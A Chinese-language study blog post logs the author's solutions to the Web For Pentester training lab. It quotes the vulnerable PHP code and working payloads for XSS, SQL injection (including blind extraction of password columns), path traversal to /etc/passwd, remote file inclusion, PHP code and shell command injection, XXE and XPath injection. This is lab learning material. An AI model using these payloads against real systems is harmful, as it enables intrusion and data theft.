[NOTE] Web For Pentester靶场练习笔记
[NOTE] Web For Pentester靶場練習筆記
文章目錄
- [NOTE] Web For Pentester靶場練習筆記
- 前言
- Web基礎
- PHP的session管理
- HTTP認證
- Web應用指紋識別
- XSS
- Example 1
- Example 2
- Example 3
- Example 4
- Example 5
- Example 6
- Example 7
- Example 8
- Example 9
- SQL injections
- Example 1
- Example 2
- Example 3
- Example 4
- Example 5
- Example 6
- Example 7
- Example 8
- Example 9
- Directory traversal
- Example 1
- Example 2
- Example 3
- File Include
- Example 1
- Example 2
- Code injection
- Example 1
- Example 2
- Example 3
- Example 4
- Commands injection
- Example 1
- Example 2
- Example 3
- LDAP attacks
- Example 1
- Example 2
- File Upload
- Example 1
- Example 2
- XML attacks
- Example 1
- Example 2
前言
搞完XVWA之后
環境
hacker: Kali Linux | 192.168.10.1/10.10.10.1
server: Debian 6 | 192.168.10.xxx (dynamic)
想著搞完這個Web靶場就暫時歇一歇
不搞這種專門的列一大堆的Web漏洞的靶場了
后面搞CMS,以及一些sqli和upload的專項訓練,還有練練滲透
所以這個靶場更多地面向源碼一些
先黑盒,做不做得出最后都看看代碼分析一下
也會看看官方給的教程文檔,看看有沒有別的什么值得學習的地方
此外也借鑒整理了國光大神的博客
Web基礎
就是對官方教程前面的部分進行簡單看看,記些不太熟或不懂的
Web安全的根基:don’t trust the client
Web服務端可以進一步劃分不同的層次,并面臨不同的安全問題:
- Web服務器,如Apache、lighttpd、Nginx、IIS等
- 應用服務器,如Tomcat、Jboss、Oracle Application server等
- 編程語言,如PHP、Java、Ruby、Python、ASP、C#等
這些編程語言也可以被用作框架的一部分,如Ruby-on-Rails、.Net MVC、Django等
同一個Web應用可能會同時使用多個或多種后端存儲
例如使用==LDAP==存儲用戶及其憑證,而使用Oracle存儲信息
GET和HEAD的區別僅體現在服務器的響應上:
GET的返回可以包含返回體
HEAD的返回體僅有headers,而沒有body
還有別的方法如PUT、DELETE、OPTION等
以前倒是了解過RESTful架構,簡單寫了下筆記
有些請求參數看起來像是這樣:
/index.php?user[name]=louis&user[group]=1
一些框架會把它映射到user對象中,用來查找指定屬性符合的對象
有時候這種使用方法若防御不當,則會導致名為“mass-assignment”的風險
(簡單了解下,這個好像是涉及到Ruby-on-Rails框架,后面有機會再了解下)
- X-Forwarded-For頭的作用:獲取源IP地址
- Host頭,在一些多站點服務器上,服務器用于“virtual-hosting”(同IP多域名)
這里很多時候是一個安全點,如輸入IP地址啥的
418響應碼:I’m a teapot
double encoding:雙重編碼有時可能有點用,URL啥的
關于返回包里的Set-Cookie字段,包含了一些信息:
- 有效期:告訴瀏覽器什么時候刪除這個cookie
- Domain:告訴瀏覽器把這個cookie發往哪一個子域名或主機名
- Path:告知瀏覽器把這個cookie發往哪一個路徑
- 安全標志:如httpOnly、secure等
cookie與session:一個存儲在客戶端,一個存儲在服務端
PHP的session管理
PHP在Debian里面是無加密存儲sessionid的,如/var/lib/php5
假如一個sessionid是o8d7lr4p16d9gec7ofkdbnhm93
那么對應的文件就是sess_o8d7lr4p16d9gec7ofkdbnhm93,里面有關于這個session的完整信息
HTTP認證
HTTP協議中自帶以下的認證方法:
-
Basic:通過Authorization頭指定,用戶名和密碼經BASE64編碼后發送給服務器
-
Digest:服務端發送挑戰,客戶端將挑戰連同密碼作哈希后發往服務器
-
NTLM:多在Microsoft里面使用,和Digest差不多
Web應用指紋識別
-
server的名稱和版本
-
后端有無使用應用服務器
-
后端數據庫
-
反向代理的使用?
-
負載平衡
-
編程語言
有時候以.jsp和.do為后綴的頁面文件很可能是Java語言寫的
(雖然也有可能是混淆)
有時候頁面旁邊的小圖標也能暴露服務器banner信息
只要網站管理員沒改的話
robots.txt文件有時候可以暴露框架和應用
有時候一些CMS或應用的文檔,可能暴露管理員頁面
XSS
關于XSS漏洞具體的利用場景,可以看看我之前在Pikachu靶場的練習筆記
下面的練習,就簡單彈個窗什么的…
Example 1
最最最最最最最最最最基本的XSS,亂X
源碼就是直接echo參數
Example 2
過濾了<script>,大小寫混拼可繞過
源碼:preg_replace正則匹配替換<script>和</script>
雙拼、大小寫繞過都可以
Example 3
img標簽可繞過:
?name=<img src="e" onerror=alert("XSS") />
源碼:preg_replace正則匹配<script>和</script>,不區分大小寫
雙拼可繞過
Example 4
img標簽可繞過
源碼:preg_match('/script/i', $_GET["name"])
正則匹配“script”,不區分大小寫,匹配到就報“error”
Example 5
很奇怪,過濾alert?
寫cookie在頁面上的payload:
<script>document.write(document.cookie)</script>
源碼還真是正則匹配不區分大小寫的alert,匹配到就報錯
why?
行吧,原來題目要求我們就要彈窗
那就結合eval函數和String.fromCharCode函數
后者將alert("XSS")的ascii碼轉成字符,再拼接成字符串
前者將字符串當作代碼執行
payload1:
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41))</script>
payload2:
<img src="e" onerror="eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41));" />
另外兩個彈窗函數,都可以回顯cookie:
- confirm:彈出確認框
- prompt:彈出輸入框
Example 6
這次輸什么都不會回顯了
源碼:
Hello <script>var $a= "<?php echo $_GET["name"]; ?>"; </script>也就是說,輸入被拼接到了字符串中,被當作變量保存
然后沒有任何回顯
這種是屬于盲注的情況?
輸入的參數要主動閉合上雙引號,然后形成完整的JS語句
payload:";alert("XSS")//
變成:var $a= "<?php echo "; alert("XSS")//; ?>"
這個比較難想到?
思路是,不管什么東西,都試試單/雙引號主動閉合看看
Example 7
源碼:
Hello <script>var $a= '<?php echo htmlentities($_GET["name"]); ?>'; </script>使用htmlentities函數將HTML特殊字符轉義成HTML實體
但是這個函數默認不轉義',除非加上ENT_QUOTES參數
所以主動閉合,payload:';alert('XSS');//
Example 8
換成了一個輸入框,POST提交參數,然后回顯
但是這次好像怎么注都不太行
源碼:
echo "HELLO ".htmlentities($_POST["name"]);這次的輸入框不存在XSS問題了,因為輸入都得到了正確的轉義
但是問題出在form表單的構造:
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">Your name:<input type="text" name="name" /><input type="submit" name="submit"/>上面使用了$_SERVER['PHP_SELF']這個變量,指代的是當前執行腳本的文件名
不當使用該變量也可能導致XSS問題
在這一題中,根據URL該值應該是/xss/example8.php
但是攻擊者可以通過修改URL從而達到XSS的目的
根據上述,可以給出以下payload:
http://192.168.10.136/xss/example8.php/"></from><script>alert(document.cookie)</script>
這樣一來表單就會變成:
嵌入了script標簽,從而執行惡意代碼
但是從頁面元素來看,表單結構顯示的是<form action="/xss/example8.php" method="POST">
這我怎么知道這里是寫死的還是代碼生成的呢?只能白盒?
總之,學習到$_SERVER['PHP_SELF']這個變量是指示當前執行腳本的文件名
一定程度上反映自URL,而URL是用戶可控的
Example 9
這次是基于DOM型的XSS,源碼:
<script>document.write(location.hash.substring(1)); </script>意思是將URL錨點#后面的字符串寫在頁面上
理論上這里寫XSS的payload就好
但是有一個問題,目前我的瀏覽器會自動URL編碼
所以最后寫在頁面上的是編碼后的payload:
形成不了彈窗的效果
bp、curl這倆工具捕獲不到后面動態生成頁面的過程
那咋辦
換成HTML編碼那就更不行了
一個思路就是看看能不能關掉瀏覽器的自動URL編碼功能
SQL injections
Example 1
GET一個name參數,傳入用戶名,然后返回信息
傳入不存在的用戶名也會顯示屬性欄
但是傳入'則會什么都沒有,類似于頁面出現錯誤
說明可能是單引號字符型注入
驗證注入的payload:?name=' or 1=1 %23
判斷回顯字段為5:?name=root' order by 5%23
觀察回顯位置:' union select 1,2,3,4,5 %23
爆庫:?name=' union select database(),2,3,4,5 %23
爆表:?name=' union select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema=database() %23
爆列:?name=' union select group_concat(column_name),2,3,4,5 from information_schema.columns where table_schema=database() and table_name='users' %23
爆數據:?name=' union select group_concat(id),group_concat(name),group_concat(passwd),4,5 from users %23
源碼:
$sql = "SELECT * FROM users where name='"; $sql .= $_GET["name"]."'";最簡單的SQLi
Example 2
情景和上題一樣
測試全注:' or 1=1 %23
但是回顯“ERROR NO SPACE”
說明檢測到了空格,從而報錯
那就換成注釋符/**/作為分隔符
判斷回顯字段:?name='/**/union/**/select/**/1,2,3,4,5/**/%23
中間過程省略,最后爆數據:?name='/**/union/**/select/**/group_concat(id),group_concat(name),group_concat(passwd),4,5/**/from/**/users/**/%23
源碼:
if (preg_match('/ /', $_GET["name"])) {die("ERROR NO SPACE"); } $sql = "SELECT * FROM users where name='"; $sql .= $_GET["name"]."'";正則匹配到有空格就報錯,換成注釋符/**/可繞過
Example 3
和上題沒什么區別?也是過濾空格?
最后爆數據的payload:?name='/**/union/**/select/**/group_concat(id),group_concat(name),group_concat(passwd),4,5/**/from/**/users/**/%23
源碼:
if (preg_match('/\s+/', $_GET["name"])) {die("ERROR NO SPACE"); } $sql = "SELECT * FROM users where name='"; $sql .= $_GET["name"]."'";原來是過濾掉所有空白字符,但是沒有考慮注釋符
所以上一題的繞過方法還能用
Example 4
參數從name變成了id,說明可能是數字型注入
一試,果然:?id=999 or 1=1 %23
剩下的就是最簡單的數字型注入,主要是?id=999 union select ...
源碼:
$sql="SELECT * FROM users where id="; $sql.=mysql_real_escape_string($_GET["id"])." ";亂注
Example 5
和上題沒什么區別?
源碼:
if (!preg_match('/^[0-9]+/', $_GET["id"])) {die("ERROR INTEGER REQUIRED"); } $sql = "SELECT * FROM users where id="; $sql .= $_GET["id"] ;好像是匹配不到整數就報錯,但是為什么這個payload能夠通過?
?id=999 union select 1,2,3,4,5 %23
測了下,好像這個函數preg_match捕獲到第一個符合條件的就返回,就不管后面的內容了,所以上面匹配到999之后,就通過檢查了,但是會把所有payload都傳遞給$id
官方文檔也是這樣說的:
**preg_match()返回 pattern 的匹配次數。 它的值將是0次(不匹配)或1次,因為preg_match()**在第一次匹配后 將會停止搜索。
Example 6
這次輸入?id=999 union select 1,2,3,4,5 %23
也會報“ERROR INTEGER REQUIRED”
源碼:
if (!preg_match('/[0-9]+$/', $_GET["id"])) {die("ERROR INTEGER REQUIRED"); } $sql = "SELECT * FROM users where id="; $sql .= $_GET["id"] ;原來是要參數id最后匹配數字,前面不管
那么后面的注釋符#都不同了哈哈
全注的payload:?id=55 or 1=1 or 99
判斷回顯字段數:?id=1 order by 5
判斷回顯字段:?id=999 union select 1,2,3,4,5
爆庫:?id=999 union select database(),2,3,4,5
爆表和爆列最后面的where語句判斷,需要最后面加個 and 1來繞過檢查
爆表:?id=999 union select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema=database() and 1
爆列:?id=999 union select group_concat(column_name),2,3,4,5 from information_schema.columns where table_schema=database() and table_name='users' and 1
爆數據最后面加個where 1就行
爆數據:?id=999 union select group_concat(id),group_concat(name),group_concat(passwd),4,5 from users where 1
Example 7
這次看起來限制的比較死,哪里有非數字字符好像都不行
源碼:
if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {die("ERROR INTEGER REQUIRED"); } $sql = "SELECT * FROM users where id="; $sql .= $_GET["id"];將id參數從頭匹配到尾~~(還是全行匹配)~~,若不是整數,則報錯
那咋辦,查攻略
正則匹配的修飾符/m,意思是多行模式
即會逐行匹配,而不是匹配整個字符串的開頭和結尾
加上preg_match只匹配一次的特性
就可以這樣構造payload:123\nPAYLOAD
但是不管我怎樣搞,都會顯示“ERROR INTEGER REQUIRED”
URL編碼后也不行
則么會是?
Example 8
這一次比較奇怪,參數變成了order
一開始是?order=name,懷疑是將查詢結果按“name”屬性排列
改成“id”或“age”,也按對應屬性順序排列了
猜測后端代碼如:select * from table order by '$_GET['name']'
然后就不會了
源碼:
$sql = "SELECT * FROM users ORDER BY `"; $sql .= mysql_real_escape_string($_GET["order"])."`";需要說明一點的是
MySQL里面的order by后面跟的排列字段只有以下兩種形式:
- 直接跟列名:order by name
- 跟反點之間的列名:order by `name`
所以之前猜測的使用單引號是不對的
此外源碼里面還使用了mysql_real_escape_string函數,單雙引號、回車制表、反斜杠以及\x00等都會被轉義
就是沒有轉義“`”
這里還要結合一下order by可以多字段排列的特點
以及使用case-when-then-else-end句式
示例payload:?order=id`, (case when (1=2) then `name` else `age` end) %23
首先是主動閉合,先將查詢結果按id字段排列
后面的句式是關鍵,when里面添加判斷語句
為真則進一步按name字段排列,否則按age字段排列
when里面可以替換成別的判斷
返回結果會根據真假是否成立從而形成不同的顯示結果
從而形成盲注的效果
遺憾的是,這里的數據庫每個字段都是不一樣的
所以找不出不同判斷結果會有的不一樣的地方
Example 9
源碼:
$sql = "SELECT * FROM users ORDER BY "; $sql .= mysql_real_escape_string($_GET["order"]);和上題類似,只不過是使用了order by的另一種字段使用方法:直接拼接
由于不用使用“`”去主動閉合,可以做到只用一個字段排列
返回結果能夠根據when的判斷結果而不一樣了
真正做到了盲注
下面的盲注過程只是簡單寫寫,不寫完整過程(手工盲注也太累了吧)
判斷出數據庫名長度為9:
?order=(case when (length(database())=9) then `id` else `age` end)
判斷出第一個表名長度為5:
?order=(case when (length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=5) then `id` else `age` end)
判斷出第一個表名的第一個字符的ascii碼為117:
?order=(case when (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=117) then `id` else `age` end)
(不能用字符直接判斷,因為使用了mysql_real_escape_string函數)
后面算了,sqlmap跑跑看
sqlmap能注是能注,但它用的是時間盲注,效率有點慢
加上我的靶場環境配置,攻擊者和靶機之間的通信有時會卡住,就很慢
不過sqlmap的容錯做的是真的不錯,會自動根據實際情況調整時延上限
牛逼牛逼
是不是要把靶機的處理器和內存都配置得大一點?
Directory traversal
奇怪的是,為什么主頁上沒有超鏈接,而是這么一個icon?
直接抄家,翻源碼找到對應練習頁面:
http://192.168.10.XXX/dirtrav/exampleX.php
此外官網的指引中給出了一個路徑穿越漏洞的一般測試步驟:
- images/./photo.jpg:能看到同一文件
- images/../photo.jpg:報錯
- images/../images/photo.jpg:能看到同一文件
- images/../IMAGES/photo.jpg:報錯(卻決于目標系統是否對路徑大小寫敏感)
此外../的數量過多的話一般來說也是沒有問題的
Example 1
有一個GET參數file承接一個文件名
然后就可以../../../../../../../etc/passwd了
此外官網指引提到
要是包含一個返回頭Content-Disposition: attachment
瀏覽器是不會直接顯示文件的
而可以通過打開文件來查看內容
例如可以使用wget命令來路徑穿越下載文件:
wget -O - 'http://vulnerable/dirtrav/example1.php?file=../../../../../../../etc/passwd'
Example 2
上一個練習的payload不能用了
相關源碼:
$file = $_GET['file']; if (!(strstr($file,"/var/www/files/")))die();strstr函數:strstr(string $haystack, mixed $needle)
返回haystack字符串從needle第一次出現的位置開始到haystack結尾的字符串
例如strstr('name@xxx.com', '@')返回@xxx.com
so the payload:?file=/var/www/files/../../../../../../etc/passwd
大概有點像判斷參數里一定要包含合法值的意思
Example 3
上面的兩個payload都不好使
相關源碼:
$path = $UploadDir . $file.".png"; $path = preg_replace('/\x00.*/',"",$path);原來是給傳入參數添加上了后綴
然而這種防范很容易繞過——利用00截斷
一般在Perl和老版本的PHP語言中很管用
(PHP 5.3.4及以上版本修復此問題)
所以payload:?file=../../../../../../etc/passwd%00
關于00截斷:具體是指老版本PHP等語言,在讀取文件名是,如遇0x00,則會認為讀取已結束
具體是null字符,在URL編碼中為%00
File Include
這里是包含php文件,一般情況下涉及到下列函數:
- require
- require_once
- include
- include_once
一般結合文件上傳漏洞打組合拳,官方給了一個用于遠程包含的php文件:
https://assets.pentesterlab.com/test_include.txt
就是簡單的php探針
Example 1
page參數接一個php文件,那試試直接上上面的payload
然就發現寄了,因為靶機是內網環境,整不了外網腳本
那就在攻擊機里整探針試試:http://192.168.10.1/hack.php
但是信息是攻擊機的
另外如果構造錯誤輸入可以爆出一些有用信息:
Warning: include(http://192.168.10.1/hack.php'): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /var/www/fileincl/example1.php on line 7 Warning: include(): Failed opening 'http://192.168.10.1/hack.php'' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/fileincl/example1.php on line 7
Example 2
page參數后面這次沒有.php后綴了,后端會自動加上
看了看源碼,繞過方法是低版本php的00截斷
Code injection
談到php里有個系統代碼執行函數system
然后php的行注釋符是//
php里代碼拼接是.
Example 1
name參數,輸入"得報錯信息:
Parse error: syntax error, unexpected '!', expecting ',' or ';' in /var/www/codeexec/example1.php(6) : eval()'d code on line 1
得知使用的是eval函數
看眼源碼:
$str="echo \"Hello ".$_GET['name']."!!!\";"; eval($str);如果輸入try".",那么$str就會變成這樣:
$str="echo \"Hello try" . "!!!\";";
抽出字符串本身來看,就是這個樣子:
echo "Hello {我們注入的代碼} !!!";
所以一個探針peyload就是:?name=";phpinfo();$a="
命令變成:echo "Hello ";phpinfo();$a=" !!!";
也可以放到php代碼層進行繞過:
?name=".phpinfo();//
拼接變成:$str="echo \"Hello ".phpinfo();//!!!\";";
(這里不是很懂拼接的雙引號問題)
或者使用${${code}}嗯插代碼:
?name=${${phpinfo()}}
如果想執行系統命令而不是php函數,則使用system函數:
?name=".system('uname -a'); $dummy="
變成:$str="echo \"Hello ".system('uname -a'); $dummy="!!!\";";
(不是很懂拼接的雙引號問題)
感覺還是得學習一波php語言
Example 2
變成了一個表格,order參數傳入排序的列名
單引號所引發的報錯:
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting T_STRING or T_VARIABLE or '{' or '$' in /var/www/codeexec/example2.php(22) : runtime-created function on line 1 Warning: usort() expects parameter 2 to be a valid callback, no array or string given in /var/www/codeexec/example2.php on line 22
不知道是啥代碼捏
開發者使用排序時可能會使用以下方法:
- order by——SQL請求
- usort——PHP代碼
usort函數經常使用create_function函數去動態生成排序函數
本題的關鍵代碼:
if (isset($order)) {usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');')); }usort(array, myfunction):
使用用戶自定義的比較函數對數組中的元素進行排序
array:要排序的數組
myfunction:用于比較函數的字符串
create_function(string $args, string $code):
創建匿名函數
args:lambda函數的變量部分
code:lambda函數的實現
例如create_function('$fname','echo $fname."welcome"')
等價于:
不能說是等價,實際上就是按這個模式進行創建的
所以注入時需要考慮主動閉合花括號,使用}
所以看回代碼:
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
關鍵就是參數order,看看怎么主動閉合形成代碼注入
一步步試:
?order=id;}//
?order=id);}//
?order=id));}//
上面只有中間那個不會報語法錯誤(error),只是警告(warning)
所以只需在}后面跟上我們要注入的代碼即可
所以當注入這個:id);}phpinfo();//
就會變成:
即
function fT($a, $b) {return strcmp($a->id);}phpinfo();//,$b->id);}phpinfo();//;}usort函數使用上面的匿名函數字符串,所以最后會執行一遍phpinfo
有點難,得學PHP
Example 3
一大堆參數WTF:?new=hacker&pattern=/lamer/&base=Hello lamer
然后頁面只是回顯個“Hello hacker”
源碼:
echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);大概是把base里面正則匹配的pattern替換成new的意思
說到preg_replace函數,有一個很危險的選項PCRE_REPLACE_EVAL(/e)
會導致preg_replace函數會把替換后的新字符串當作PHP代碼去執行
PCRE_REPLACE_EVAL has been deprecated as of PHP 5.5.0
后面用preg_replace_callback代替
所以只需要在傳入的模式中加上/e模式
就可以把替換后的結果當作PHP代碼執行
所以payload:?new=phpinfo()&pattern=/lamer/e&base=Hello lamer
Example 4
又變回來了,name參數,回顯到頁面上
引號引起的報錯:Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE in /var/www/codeexec/example4.php(4) : assert code on line 1 Catchable fatal error: assert(): Failure evaluating code: ''' in /var/www/codeexec/example4.php on line 4
估計和assert函數有關
源碼:
assert(trim("'".$_GET['name']."'")); echo "Hello ".htmlentities($_GET['name']);trim:移除字符串兩邊的空白字符或預定義字符
assert:PHP5可以執行代碼
所以主要就是構造閉合,執行想要的代碼
和Example 1差不多
有三種閉合方式:
注釋掉后面的引號:?name='.phpinfo();//
也閉合后面引號:'.phpinfo().'
直接${${code}}插入代碼:'.${${phpinfo()}}.'
Commands injection
上面是代碼注入,這里是命令注入,有點區別
此外Linux里面有個機制,就是反引號里面的字符串會被當成命令先執行
例如“echo `whoami`”會輸出當前用戶名
Example 1
ip參數后面跟個IP地址,然后給出ping的結果
好像很明顯?直接分號接命令就ok:?ip=127.0.0.1;whoami
源碼:
system("ping -c 2 ".$_GET['ip']);
Example 2
?ip=127.0.0.1;whoami直接報“Invalid IP address”
源碼:
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {die("Invalid IP address"); } system("ping -c 2 ".$_GET['ip']);正則匹配限定參數必須有ip地址形式的字符串
但是是多行模式匹配,加上preg_match函數只會匹配一次的特點
所以可以使用換行符(URL編碼)來分隔正常的輸入和惡意命令:
?ip=127.0.0.1%0Awhoami
Example 3
發現輸入?ip=127.0.0.1;whoami會跳轉回ping 127.0.0.1的頁面
抓包一看發現只是重定向而已,原來的包還是會返回惡意代碼執行的結果
LDAP attacks
LDAP(Lightweight Directory Access Protocol),輕量目錄訪問協議
可以把他和數據庫類比,LDAP是一個為查詢、瀏覽、搜索而優化的專業分布式數據庫,它成樹狀結構組織數據,就好像 Linux/Unix系統中的文件目錄一樣。
目錄數據庫和關系數據庫不同,它有優異的讀性能,但寫性能差,并且沒有事務處理、回滾等復雜功能,不適于存儲修改頻繁的數據。
所以 LDAP天生是用來查詢的。
Example 1
用于認證的兩個參數username和password
一開始有初值:?username=hacker&password=hacker
但是回顯“NOT AUTHENTICATED”
但是把所有參數都刪除,就會顯示“AUTHENTICATED”,認證成功了
一些LDAP服務器允許NULL綁定:如果NULL值被傳輸,則LDAP服務器會嘗試綁定連接,而PHP代碼會認為這種認證是合法的
源碼:
$ld = ldap_connect("localhost") or die("Could not connect to LDAP server"); ldap_set_option($ld, LDAP_OPT_PROTOCOL_VERSION, 3); ldap_set_option($ld, LDAP_OPT_REFERRALS, 0); if ($ld) {if (isset($_GET["username"])) { $user = "uid=".$_GET["username"]."ou=people,dc=pentesterlab,dc=com";}$lb = @ldap_bind($ld, $user,$_GET["password"]);if ($lb) {echo "AUTHENTICATED";}else {echo "NOT AUTHENTICATED";} }抽出漏洞原因,估計是下面這個:
$lb = @ldap_bind($ld, $user,$_GET["password"]); if ($lb) {echo "AUTHENTICATED"; }由于ldap_bind繼續嘗試綁定連接,所以$lb不為NULL,所以通過下方認證判定
這是一種編碼失誤,其他認證過程也要注意類似的問題
Example 2
默認參數:?name=hacker&password=hacker
回顯“AUTHENTICATED as hacker”
刪除所有參數,回顯:
Notice: Undefined index: password in /var/www/ldap/example2.php on line 9 Notice: Undefined index: name in /var/www/ldap/example2.php on line 10 UNAUTHENTICATED
這部分類似于MySQL注入,需要先學習LDAP的基本知識
-
LDAP基礎
-
LDAP服務器搭建
-
題解
主要還是要理解一些LDAP語法,以及運用到了PHP的00截斷
達到了類似sqli萬能密碼的效果
File Upload
Example 1
好像是直接傳的意思
準備一句話,蟻劍連
源碼:
<?php if(isset($_FILES['image'])) { $dir = '/var/www/upload/images/';$file = basename($_FILES['image']['name']);if(move_uploaded_file($_FILES['image']['tmp_name'], $dir. $file)) {echo "Upload done";echo "Your file can be found <a href=\"/upload/images/".htmlentities($file)."\">here</a>";} else { echo 'Upload failed';} } ?><form method="POST" action="example1.php" enctype="multipart/form-data"> Mon image : <input type="file" name="image"><br/> <input type="submit" name="send" value="Send file"> </form>沒有任何防護措施
Example 2
直接上傳一句話顯示“NO PHP”
試了試00截斷,發現不太行
源碼:
$file = basename($_FILES['image']['name']); if (preg_match('/\.php$/',$file)) {DIE("NO PHP"); }可能是因為是后端PHP進行后綴檢查而不是前端,所以00截斷在檢查之前就已經生效,所以檢測的文件名確實是以.php結尾的,所以通不過檢查
大小寫混拼后綴.pHp可繞過
另外蟻劍那里有個連接類型為“PHP4”也可以考慮一下
官網提到的幾種繞過方法:
- 使用.php3、.php4或者是.php5后綴,一些服務器說不定還支持
- 在.php后面使用一個Apache識別不了的后綴(例如.fuckyou),Apache識別不了可能會嘗試識別下一個后綴(但問題是蟻劍也識別不了啊,可能和使用的工具有關)
XML attacks
Example 1
原始參數:?xml=<test>hacker</test>
盲猜是XXE
試試payload:?xml=<!DOCTYPE any[<!ENTITY js SYSTEM "file:///etc/passwd">]><test>&js;</test>
結果回顯:
“Hello Warning: simplexml_load_string(): Entity: line 1: parser error : Premature end of data in tag test line 1 in /var/www/xml/example1.php on line 4 Warning: simplexml_load_string(): ]> in /var/www/xml/example1.php on line 4 Warning: simplexml_load_string(): ^ in /var/www/xml/example1.php on line 4 ”
哦哦,原來是GET傳遞參數,所以要URL編碼(涉及到了&等字符)
編碼一下就好
源碼:
$xml=simplexml_load_string($_GET['xml']); print_r((string)$xml);涉及到一個simplexml_load_string函數可以看看
Example 2
參數變成了?name=hacker
可能是XPath注入
果然是
先復習一下XPath的知識
輸入一個',報錯誤了
輸入",沒有報錯,沒有回顯,可能是單引號閉合變量
前后主動閉合,看看能不能爆出所有值:?name=']|//*|ss['
回顯:“hackerHello hackerpentesterlabadminHello admins3cr3tP4ssw0rd ”
雖然是所有都爆出來了,但是沒有分隔符,啥是啥也不知道
也可以00截斷,?name=' or 1=1]%00,也是永真條件
但是只能查詢當前層次的所有節點
另外了解到另外一種全注的payload:
?name=' or 1=1]/parent::*/child::node()%00
其中parent::*用于選擇當前節點的所有父節點
child::node()用于選擇所有子節點
源查詢代碼:$xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message";
剩下倒是可以盲注,但是有時候也可以直接猜
因為全注的字段有些看起來像是密碼
所以可以試試猜原XML里有password節點,并把他們注出來:?name=']|//password%00
回顯:“pentesterlabs3cr3tP4ssw0rd”
類似的還有user、name等常見字段也可以試試
雖然都沒有分隔
簡單盲注:
判斷第一個節點的名字的第一個字符是‘d’:
?name=hacker' and substring(name(/*[position()=1]),1,1)='d' and '1'='1
判斷第一個節點名字是“data”:
?name=hacker' and name(/*[position()=1])='data' and '1'='1
下略BLABLABLA
總結
以上是生活随笔為你收集整理的[NOTE] Web For Pentester靶场练习笔记的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [NOTE] sqli-labs Adv
- 下一篇: Linux下的shell语言编程入门